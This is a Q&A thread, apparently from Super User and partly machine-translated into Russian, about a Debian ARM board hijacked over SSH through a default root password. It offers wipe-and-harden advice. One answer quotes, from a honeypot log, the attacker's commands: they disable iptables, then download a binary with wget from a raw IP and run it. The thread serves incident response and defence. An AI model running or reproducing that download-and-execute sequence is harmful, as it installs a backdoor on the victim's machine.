[Отредактировано после комментария @MariusMatutiae] - Тем не менее, OP должен понимать, что в скомпрометированной системе исполняемый файл _every_ должен считаться вредоносным, даже оболочка, `ls`,` who` или что-либо еще. «Спасение данных» с использованием любого исполняемого файла в скомпрометированной системе (например, `scp` или` rsync`) может поставить под угрозу еще больше машин. Dubu 8 лет назад 11
@MariusMatutiae Ну, я не вижу большой потенциальной выгоды для сценариста, который сделал это (они, вероятно, довольно быстро перешли на следующий хост), но я, тем не менее, удалил эту часть моего комментария. Dubu 8 лет назад 0
@Dubu: А сколько людей ставят «.» в начале их пути $? Так что даже без привилегий суперпользователя во многих местах я могу удалить вредоносный файл с именем «ls» или… WGroleau 8 лет назад 1
Если атака не удалась, то, я полагаю, вы действительно имеете в виду, что он пережил попытку взлома и не был успешно взломан. fredsbend 8 лет назад 0
@MattNordhoff, `strings` (то есть` binutils`) был исправлен для Fedora в [октябре 2014 года] (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-8485). То же самое для Debian, Ubuntu. Предположительно, апстрим тоже был исправлен. vonbrand 8 лет назад 1
Отличные правки в ответ. Теперь, если вы отредактируете его еще раз, чтобы добавить меры безопасности, это было бы здорово для будущих читателей. Вот что я сделал: 1. Переустановите систему. 2. Измените пароль root на пароль длиной 16 символов со смешанными строчными и прописными буквами, а также символами и цифрами. 3. Изменил имя пользователя на 6-символьное длинное имя пользователя и применил тот же пароль, который использовался для root 3. изменил порт SSH на что-то выше 5000 4. отключил вход root в SSH. Кроме того, я мог бы также установить Fail2Ban. Добавьте эти шаги в ваш ответ, и я приму его. Это будет полезно для других. vaid 8 лет назад 0
@MariusMatutiae Вам может быть интересно узнать, что в Security SE некоторое время назад велись достойные споры о том, является ли замена порта ssh по умолчанию хорошей мерой или чем-то, что вызывает больше головной боли, чем оно того стоит. См. Http://security.stackexchange.com/questions/32308/should-i-change-the-default-ssh-port-on-linux-servers?s=2|1.7584 FWIW, я спускаюсь на той же стороне, что ты сделаешь. Очевидно, что он может быть побежден злоумышленником, который выполняет полное сканирование портов. Но по крайней мере вездесущие роботы сканирования / атаки, которые почти всегда придерживаются сканирования общих портов / портов по умолчанию, потерпят неудачу. mostlyinformed 8 лет назад 1
@halfinformed Я согласен с тобой. Ясно, что такие меры не будут сдерживать любого, кто упрямо серьезно относится к причинению вреда кому-либо, но, по крайней мере, удержит администраторов бот-сетей подальше. Спасибо за указание на то, что недостатки смены ssh-порта относятся к людям, имеющим дело с большим количеством клиентов, служб, крупных организаций. Ничто из этого не влияет на обсуждение для отдельных пользователей. MariusMatutiae 8 лет назад 2
_ «Вам удалось записать весь живой сеанс злоумышленника на вашем компьютере» _ - что указывает на то, что злоумышленник сам не является экспертом. Thorbjørn Ravn Andersen 8 лет назад 0
Важное примечание: ** OpenSSH DISABLED DSA ** в выпуске 7 (по умолчанию; вы все равно можете повторно включить его в конфигурации, но, очевидно, вы должны делать это только до повторного нажатия). Рекомендуемые параметры: [RSA и ed25519] (https://stribika.github.io/2015/01/04/secure-secure-shell.html). Jan Hudec 8 лет назад 0
Я считаю, что openssh не использует эту реализацию. В любом случае, @MariusMatutiae, вы бы обновили команды в этом ответе, чтобы потом рекомендовать ed25519? Jan Hudec 8 лет назад 0
Здесь много полезных советов. Я не могу загрузить вредоносное ПО, поэтому не смог проверить это, но, учитывая упоминание OP о разработке встроенной системы и имени хоста, содержащего «armhf», я не удивлюсь, если вредоносное ПО будет двоичным файлом x86, который не работает на устройство ARM. Wodin 8 лет назад 1
@ Водин Да, совершенно верно: это именно то, что я имел в виду, не говоря об этом явно, когда я упомянул, что, если злоумышленник действительно делал компиляцию, это означало, что он понял источник своих проблем, и компьютер исчез навсегда , MariusMatutiae 8 лет назад 0
Определенно верно в отношении проблемы с загрузкой файла и необходимостью его создания, вероятно, он был построен для x86 или, возможно, для x64, но сборка в журналах показывает, что это сборка ARM, предположительно для raspberry pi или подобного. James Snell 8 лет назад 1
@vaid Эй, если злоумышленник загрузил * исходный код * своего трояна на ваш компьютер, каковы шансы, что вы сможете восстановить этот код (из введенных команд)? Было бы неплохо получить реальный, функциональный исходный код для дикого трояна для анализа и защиты. (Также может быть интересно изучить стиль кода опытного китайского разработчика троянов!) nneonneo 8 лет назад 1
@nneonneo Согласен, но вам придется спросить, а не я: он не дает больше подробностей, чем те, которые вы читали выше, как я. MariusMatutiae 8 лет назад 1
Я загрузил zip-файл, содержащий бинарный файл, однако я не помню, чтобы где-либо видел исходный код. И, к сожалению, я стер систему без каких-либо резервных копий, поэтому я не могу вернуться и проверить, есть ли доступный исходный код. Вот интересный проект для всех, кто интересуется: настройте raspberry pi с помощью ssh и стандартного пароля root, такого как «debian», перейдите к настройке маршрутизатора и перенаправьте порт 22, иногда проверяйте журналы на наличие подозрительных действий и пытайтесь поймать хакера. Насколько я понял, хакеры постоянно активно сканируют цели. vaid 8 лет назад 0
Моя система использовала имя пользователя и пароль как «debian», так они проникли в систему. Моя система - это в основном небольшая доска для разработчиков. Точнее, Olimex A10 Lime 4GB. Кроме того, почему вы, ребята, думаете, что злоумышленник загрузил реальный исходный код? Есть ли в журналах что-нибудь, что указывает на то, что злоумышленник сделал это? vaid 8 лет назад 0
Может ли это быть строка с надписью `. / Yd_cd / make`? Этот файл не был загружен, потому что `yd_cd` - это мое собственное программное обеспечение, которое я разрабатываю. Это просто совпадение, что я назвал его так же, как их соглашение об именах с «Y» в начале. Однако это указывает на то, что злоумышленник работал на моем устройстве, так как я фактически разрабатывал свое программное обеспечение. Вид страшно, если честно. vaid 8 лет назад 1
Ах я вижу. Жаль, я думаю, у тебя нет источника для его трояна. (Может быть, вы должны были уточнить, какие записи журнала были от него) nneonneo 8 лет назад 0
@nneonneo Журналы в ОП являются недействительными, те, что в моем посте, мои. MariusMatutiae 8 лет назад 0
@MariusMatutiae можете ли вы прокомментировать эффективность использования `DenyHosts` (автоматически заполняет` / etc / hosts.deny`) в качестве средства предотвращения перебора? Делает ли это использование пароля (а не ключа) SSH более безопасным? meowsqueak 8 лет назад 0
@meowsqueak Использование DenyHosts вместо криптографических ключей немного похоже на: я могу оставить этот недостаток, так как я покрываю его с помощью этой другой, особенной функции. Я не присоединяюсь к этой точке зрения, потому что никогда не бывает, что две функции охватывают абсолютно одинаковое основание. Например, я часто бываю вне дома и хочу подключиться к своим рабочим / домашним компьютерам, но я априори не знаю IP-адреса, с которых я буду подключаться: DenyHosts тогда мне не помогает, а ключи шифрования помогают. Кроме того, если злоумышленник получает доступ к моей локальной сети, ключи все равно помогают, а DenyHosts - нет. MariusMatutiae 8 лет назад 0
@MariusMatutiae хорошо, я больше думал о предотвращении атаки методом перебора, так как запись hosts.deny создается, если неправильный пароль был введен более 3 раз с одного IP-адреса. Мне кажется, что это может помочь в тех случаях, когда требуется пароль (например, когда безопасность личного ключа не может быть обеспечена). meowsqueak 8 лет назад 0
@meowsqueak Да, но лучшим и гораздо более современным решением является fail2ban, который делает это практически для любого приложения, postfix, https, ssh и так далее. Это определенно помогает, я использую это сам. Тем не менее, суть остается: пока у вас есть пароли, вы должны найти способы, чтобы компенсировать их внутреннюю слабость. Ключи не имеют такой слабости. MariusMatutiae 8 лет назад 2
140
Journeyman Geek

Welcome to the Internet - where any open SSH server is likely going to get probed, brute-forced, and have various indignities inflicted upon it.

To start, you need to completely wipe the storage on the product. Image it if you want to pass it on for forensics, but the Linux install on it is now suspect.

Bit of guesswork but

  1. You got brute-forced or use a common password. It's security by obscurity but you don't want a dictionary password or to use a root account open to SSH. Disable root SSH access if it's an option or at least change the name so they need to guess both. SSHing as root is terrible security practice anyhow. If you must use root, log in as another user and use su or sudo to switch.

  2. Depending on the product, you might want to lock down SSH access in some way. A total lock-down sounds like a good idea, and allows users to open it up as needed. Depending on what resources you can spare, consider only allowing IP addresses in your own subnet, or some kind of login throttling system. If you don't need it on the final product make sure it's turned off.

  3. Use a non standard port. Security by obscurity again, but it means an attacker needs to target your port.

  4. Do not ever use a default password. The best approach I've seen is to randomly generate a password for a specific device and ship it with your product. Best practice is key based authentication, but I've no idea how you'd approach that on a mass market product.

5. Используйте открытый ключ, если это возможно. Проверка подлинности пароля намного, намного менее безопасна. Bob 8 лет назад 75
Да, но если это потребительское устройство, это может быть не вариант. На коробке разработчика это звучит как блестящая идея. На сервере я взломан раньше; p Journeyman Geek 8 лет назад 4
Если это потребительское устройство, то один и тот же случайный пароль или ключ на всех них тоже плохая идея. Как и все, что основано на его серийном номере, MAC или другой идентифицирующей информации. (То, что многие SoHO модемы / маршрутизаторы / WAP, похоже, упустили). Hennes 8 лет назад 2
Это потребительское устройство. Однако подавляющее большинство целевого потребителя не будет достаточно образованным, чтобы знать, что такое SSH. Таким образом, SSH может быть отключен и, скорее всего, будет отключен. vaid 8 лет назад 2
Я бы сказал # 1) «Используйте открытый ключ». # 2 «Использовать пароль? См. # 1» ... # 3) «Использовать что-то, что не позволяет? Держать подальше от открытого Интернета любыми возможными способами» # 4) «Не можете сохранить его? Держите его подальше от вашей внутренней сети " WernerCD 8 лет назад 0
Я хотел бы отметить, что то, что сказал @Bob, верно, даже если вы используете надежный пароль. Независимо от того, насколько надежен ваш пароль, он все равно будет более безопасным при использовании аутентификации с открытым ключом. Это связано с тем, что аутентификация с открытым ключом обеспечивает дополнительный уровень защиты от митм-атак. И злоумышленнику сложнее перехватить пароль, который вы не отправляете на сервер. kasperd 8 лет назад 0
Также используйте [fail2ban] (http://www.fail2ban.org). Shadur 8 лет назад 2
Я работал в компании, которая производила брандмауэры на основе Linux. У каждого из них по умолчанию отключена удаленная поддержка (SSH), а также уникальный ключ SSH и сертификат SSL, которые мы записали во время производства сразу после этапа тестирования. Так что да, потребительские ящики могут быть в безопасности. Zan Lynx 8 лет назад 0
очень здорово читаю! И да, приятно иметь возможность много читать, как это. NetworkKingPin 8 лет назад 0
Открытый SSH не является проблемой, принудительное перебор не является жизнеспособной альтернативой, и даже атаки по словарю в большинстве случаев нецелесообразны. Однако здесь мы говорим о недостатке безопасности системы. magallanes 8 лет назад 0
Это неверно [Добро пожаловать в ужасающий новый мир] (https://blog.avast.com/tag/ddos-attack/) Journeyman Geek 8 лет назад 0
@Bob Если пароль достаточно сложный (скажем, 16 случайных символов и символов и т. Д.) И, следовательно, не может быть взломан, то в чем преимущество безопасности при использовании ключа? (Подлинный вопрос - я не согласен) NickG 8 лет назад 1
Кроме того, не использует ли SSH открытые ключи для аутентификации сервера на клиенте, даже если клиент использует пароль вместо ключа для аутентификации на сервере? Это защищает от MiTM, так что оставляет только грубую силу, и я, честно говоря, не понимаю, насколько грубая сила здесь возможна, если вы используете безопасный пароль. (Хотя использование открытого ключа, вероятно, намного проще, чем выбор и запоминание безопасного пароля.) Ajedi32 8 лет назад 0
Ах, так что я посмотрел немного больше и, очевидно, использование аутентификации с открытым ключом для клиента фактически обеспечивает некоторую защиту от MiTM, даже если клиенту не удается проверить ключ хоста. Таким образом, есть некоторая дополнительная польза для безопасности при использовании аутентификации с открытым ключом для SSH: http://www.gremwell.com/ssh-mitm-public-key-authentication (я думаю, это отвечает на ваш вопрос, @NickG.) Этот конкретный вектор атаки Похоже, в этом случае он, похоже, не участвовал, и на самом деле это не важно, если вы всегда проверяете ключ хоста. Ajedi32 8 лет назад 1
@NickG В случае взлома сервера, ваш пароль выставлен. Это может быть хорошо, если вы никогда не используете пароль повторно, например, у вас есть правильный менеджер паролей и т. Д. Открытый ключ никогда не раскрывает ваш закрытый ключ, поэтому вы можете использовать один и тот же закрытый ключ для аутентификации на нескольких серверах без проблем (и вы можете установить пароль -защитить указанный закрытый ключ, пароль виден только локально). Конец дня, при достаточной внешней помощи (без повторного использования, менеджер паролей) пароль может быть равен открытому ключу. (Сюда не входят некоторые вульны, которые могут утекать закрытый ключ ... очень маловероятно, но возможно). Bob 8 лет назад 1
Дело в том, что pubkey безопасен почти по умолчанию. Для аутентификации пароля требуется, чтобы ответственный за безопасность человек выбрал надежный пароль и никогда не использовал его повторно. В реальной жизни подавляющее большинство паролей аутентификации, вероятно, не соответствует этим требованиям. Поэтому рекомендовать pubkey обычно проще. Bob 8 лет назад 1
Боб и Алиса очень хорошо знают криптографию;) kiran 8 лет назад 0
33
Viktor Toth

Oh, you have been definitely hacked. Someone appears to have been able to gain root credentials and attempted to download a Trojan to your system. MariusMatutiae provided an analysis of the payload.

Two questions arise: a) Was the attacker successful? And b) what can you do about it?

The answer to the first question may be a no. Notice how the attacker repeatedly tries to download and run the payload, apparently without success. I suspect that something (SELinux, perchance?) stood in his way.

HOWEVER: The attacker also altered your /etc/rc.d/rc.local file, in the hope that when you restart your system, the payload will be activated. If you have not yet restarted the system, don't restart until you have removed these alterations from /etc/rc.d/rc.local. If you have already restarted it... well, tough luck.

As to what you can do about it: The safest thing to do is to wipe the system and reinstall from scratch. But this may not always be an option. A significantly less safe thing to do is to analyze exactly what happened and wipe every trace of it, if you can. Again, if you have not yet restarted the system, perhaps all it takes is clean /etc/rc.d/rc.local, remove anything downloaded by the attacker, and last but not least, change the darn password!

However, if the attacker was already able to run the payload, there may be other modifications to your system that may be difficult to detect. Which is why a complete wipe is really the only safe (and recommended) option. As you indicated, the equipment in question may be a test/development target so perhaps wiping it is not as painful as it may be in other cases.

Update: Notwithstanding what I wrote about a possible recovery, I wish to echo MariusMatutiae's very strong recommendation not to underestimate the potential damage caused by this payload and the extent to which it may have compromised the target system.

Благодарю. Я решил стереть систему. Я перезапустил его пару раз, но просто скопировал некоторые важные данные. Нет бинарных файлов, только исходный код. Полагаю, сейчас я в безопасности. vaid 8 лет назад 2
А как насчет других ящиков в той же локальной сети? WGroleau 8 лет назад 0
Хороший вопрос. Предоставленная история оболочки не указывает на какие-либо попытки обнаружить и скомпрометировать другие блоки в той же сети. В более общем смысле, если злоумышленник получает доступ SSH (root) к блоку, это в основном означает, что он обошел любые межсетевые экраны по периметру. Тем не менее, это не означает автоматически, что другие блоки скомпрометированы: для этого потребуется что-то еще, например незащищенная уязвимость, пароли, общие для блоков, автоматический вход из одного блока в другой и т. Д. Viktor Toth 8 лет назад 0
17
Gunther Nitzsche

Мой sshd-honeypot также видел этот вид атаки. Первые загрузки с этого URL начались 2016-01-29 10:25:33 и атаки все еще продолжаются. Атаки идут

103.30.4.212 111.68.6.170 118.193.228.169

Вход от этих злоумышленников был:

остановка сервиса iptables wget http://222.186.30.209:65534/yjz1 nohup / root / yjz1> / dev / null 2> & 1 & chmod 0777 yjz1 chmod u + x yjz1 ./yjz1 & chmod u + x yjz1 ./yjz1 & CD / TMP

Так что никаких действий, кроме установки бэкдора на потом.

Договорились, это тот же МО. MariusMatutiae 8 лет назад 0
@MariusMatutiae Так значит, это не ручной взлом? Это какой-то самораспространяющийся червь / бот? NickG 8 лет назад 1
@NickG Мое лучшее предположение - то, что это не был ручной взлом. Какова вероятность того, что vaid работает в том же офисе, что и создатель ботнета в Китае? Кто-то нашел уязвимость в своей машине, скорее всего, слабо защищенный ssh-сервер, взломал его пароль, получил доступ и попытался тайно установить себя. Однако я бы также поспорил, что злоумышленник лучше владеет Windows, чем Linux. Но у меня нет ** твердых ** доказательств этого, только обоснованное предположение. MariusMatutiae 8 лет назад 1
11
Archemar

  1. Is debian-armhf your hostname? Or do you use a default install with default settings? There is no problem with that, but you shouldn't allow the host to be directly exposed to the Internet (i.e. not protected by your modem, at least).

  2. It looks like the real trouble is coming from 222.186.30.209 (see http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). You shouldn't pay much heed to seeing Microsoft's IP. IPs can more or less be faked/spoofed rather easily.

  3. A usual way to connect to the Internet is to forward a known list of ports from your public IP (e.g. 8.8.8.8) to your local (e.g. 192.168.1.12).

    • For instance, do not forward all incoming connections from 8.8.8.8 (public) to 192.168.1.12 (local).

    • Forward only ports 22 and 25 (ssh and incoming mail, respectively). You should, of course, have up-to-date ssh and smtp packages/libraries as well.

  4. What's next? Disconnect the host, and change any passwords (on any computers associated with the organisation) that are hardcoded in shell scripts (shame on you!) in /etc/shadow.

1. Да ** debian-armhf ** - имя хоста. 2. Да, я прочитал эту статью и связался с Microsoft через их сайт cest.microsoft.com. 3. Я только переадресовал 25 и 22, больше ничего не пересылалось. 4. Я сделаю это vaid 8 лет назад 0
«IP может быть подделкой более или менее легко»: я не эксперт по безопасности и не сетевой. Как это возможно? kevinarpe 8 лет назад 0
@kevinarpe Это, вероятно, гораздо лучше, как отдельный вопрос. a CVn 8 лет назад 0
см. http://stackoverflow.com/questions/5180557/why-is-it-not-possible-to-fake-an-ip-address и http://superuser.com/questions/37687/how-can-i -make-мой-IP-адрес, появляются, чтобы быть-с-другой страны- Archemar 8 лет назад 0
@Archemar: SSH - это TCP; Подделка исходного IP-адреса TCP сложна, если не невозможна. Кроме того, как было установлено выше, Microsoft IP принадлежит их облачному сервису Azure, а это означает, что любой мог выиграть время, чтобы атаковать других. nneonneo 8 лет назад 2
@nneonneo Или законный пользователь Azure поставил под угрозу свою систему, которая затем использовалась для атаки на других. reirab 8 лет назад 0
11
pyn

Все здесь предлагают твердые советы, но, для ясности, ваши приоритеты должны быть в резервном копировании и проверять, что вам действительно нужно от этой системы, а затем стирать ее с новой установки с известных безопасных носителей.

Прежде чем подключить недавно установленный хост к Интернету, ознакомьтесь с этими идеями:

  1. Создайте нового пользователя без полномочий root и войдите в систему как этот пользователь. Вы никогда не должны входить в систему как root, просто sudo (заменитель пользователя), когда это необходимо.

  2. Установите SE Linux, параметры конфигурации, которые включают обязательный контроль доступа: https://wiki.debian.org/SELinux/Setup

  3. Рассмотрим аппаратный брандмауэр между вашим офисом / домом и Интернетом. Я использую MicroTik, который имеет отличную поддержку сообщества: http://routerboard.com/ .

Предполагая, что у вас есть сроки для завершения вашей оплачиваемой работы, по крайней мере, сделать # 1. № 3 быстро и дешево, но вам нужно будет либо подождать посылку по почте, либо доехать до магазина.

И, самое главное, не оставляйте ваш компьютер без присмотра в открытом сеансе root! MariusMatutiae 8 лет назад 3
9
Nate H

Как уже говорили другие, вполне очевидно, что безопасность вашего сервера была нарушена. Самое безопасное - стереть эту машину и переустановить.

Чтобы ответить на вторую часть вашего вопроса, если вы не можете использовать аутентификацию с открытым ключом, я рекомендую хотя бы настроить Fail2Ban и запустить SSH на нестандартном порту. Я также отключаю корневой доступ по SSH.

Fail2Ban поможет смягчить атаки методом перебора, запретив IP-адреса, которые не могут войти в систему определенное количество раз.

Настройка прослушивания sshd на нестандартный порт, по крайней мере, поможет немного уменьшить видимость вашего SSH-сервера. Отключение входа в систему root также немного уменьшает профиль атаки. В /etc/sshd_config:

PermitRootLogin no Port xxxxx

Когда root-вход отключен, вам нужно будет либо переключиться на root suпосле подключения, либо (более предпочтительно) использовать sudoдля выполнения привилегированных команд.

Я сделал оба из них, спасибо за совет. vaid 8 лет назад 0
8
user1751825

SSH-серверы постоянно подвергаются атакам в интернете. Пара вещей, которые вы делаете:

  1. Убедитесь, что вы используете очень безопасный случайный пароль для компьютеров, доступных через Интернет. Я имею в виду, как 16 или более символов и совершенно случайно. Используйте менеджер паролей, чтобы вам не пришлось его запоминать. Если вы можете запомнить свой пароль, это слишком просто.

  2. Если вам не нужен SSH, выключите его. Если вам это нужно, но не нужно, чтобы он был общедоступным, запустите его с большим нестандартным номером порта. Это значительно сократит количество попыток взлома. Да, выделенный хакер может выполнить сканирование портов, но автоматизированные боты не найдут его.

Фрагмент из вашего журнала авторизации показывает неудачную попытку. Однако, если вы посмотрите дальше, вы, несомненно, увидите успешный вход в систему. Если вы используете простой пароль, то для бота это тривиально.

Вам нужно изолировать эту машину от сети. Очень осторожно достаньте то, что вам нужно, а затем вытрите.

Когда я использовал ssh на порте 22, у меня обычно было тысячи попыток взлома в день. Когда я перешел на большой номер порта (более 50000), эти попытки взлома полностью прекратились. user1751825 8 лет назад 7
16 символов недостаточно безопасны. Выход пользователя также удобен. Только не делайте это пермским замком, сделайте так, чтобы он истек, но сделайте это примерно часом. Таким образом, вы все равно можете получить доступ к серверу. Ramhound 8 лет назад 0
Обратите внимание, что шаг 2) не является строго необходимым для обеспечения безопасности, если у вас есть строгая аутентификация (открытый ключ или надежный пароль). user20574 8 лет назад 0
@ Ramhound Почему бы и нет? Даже если это были только строчные буквы, 16 строчных букв дают 43608742899428874059776 возможностей, что нецелесообразно для перебора, особенно для перебора в режиме онлайн, когда сервер заставляет вас ждать каждый раз, когда вы терпите неудачу при попытке. user20574 8 лет назад 2
@ User20574. Хотя это не является строго необходимым, уменьшение видимости службы SSH все еще очень полезно. Даже если по какой-то другой причине, кроме как удалить беспорядок из ваших журналов. Если машина должна быть доступна только для ограниченной группы людей, то нестандартный порт является вполне разумным шагом для повышения безопасности. user1751825 8 лет назад 3
Как уже упоминали другие. Вы не должны действительно использовать свой пароль для входа в любом случае. Использование ключей удобнее и намного безопаснее. user1751825 8 лет назад 0
Спасибо за совет. Я буду менять номер порта и пароль пользователя намного длиннее: заглавные + строчные + цифры. В качестве альтернативы я буду использовать ключ, есть ли ссылки на какую-нибудь статью, в которой рассказывается, как использовать ключ для SSH? vaid 8 лет назад 0
@vaid Это кажется достаточно всеобъемлющим ... https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2 user1751825 8 лет назад 0
6
JakeGould

The first thing anyone/everyone should do after setting up a front-facing Linux/Unix server is to immediately disable root.

Your system was compromised. You have a running history log which might be cool to look at to an extent. But honestly dissecting the specifics is a bit nit-picky and won’t help you secure your server. It shows all kinds of nonsense that happens when botnet spawned malware—which is most likely what infected your server—infects a Linux system. The answer provided by @MariusMatutiae is nice and well thought out and there are others who repeat that you were hacked via root access which is a malware/botnet’s wet dream.

There are a few explanation on how to disable root but I will state from personal experience, most anything that goes beyond what I will describe right now is overkill. This is what you should have done when you first setup the server:

  1. Create a new user with sudo rights: Create a new user with a new name—something like cooldude—using a command like sudo adduser cooldude if you are using Ubuntu or another type of Debian system. Then just manually edit the sudo file using a command like this sudo nano /etc/sudoers and add a line like cooldude ALL=(ALL:ALL) ALL beneath the equivalent line that should read root ALL=(ALL:ALL) ALL. With that done, login as cooldude and test the sudo command with a command like sudo w—something basic and non-destructive—to see if the sudo rights work. You might be prompted for a password. That works? All good! Move onto the next step.
  2. Lock the root account: Okay, now that cooldude is in charge with sudo rights, login as cooldude and run this command to lock the root account sudo passwd -l root. If somehow you have have created an SSH key pair for root, open up /root/.ssh/authorized_keys and remove the keys. Or better yet, just rename that file authorized_keys_OFF like this, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF to effectively disable the SSH keys. I prefer the later because on the off-hand chance you still need password less login, you can just move that file back to the original name and you should be good to go.

FWIW, I have managed dozens of Linux servers over the years (decades?) and know from experience that simply disabling root—and setting up a new user with sudo rights—is the simplest and most basic way to secure any Linux system. I’ve never had to deal with any type of compromise via SSH once root is disabled. And yes, you might see attempts to login via the auth.log but they are meaningless; if root is disabled then those attempts will never add up to anything. Just sit back and watch the attempts endlessly fail!

Похожие вопросы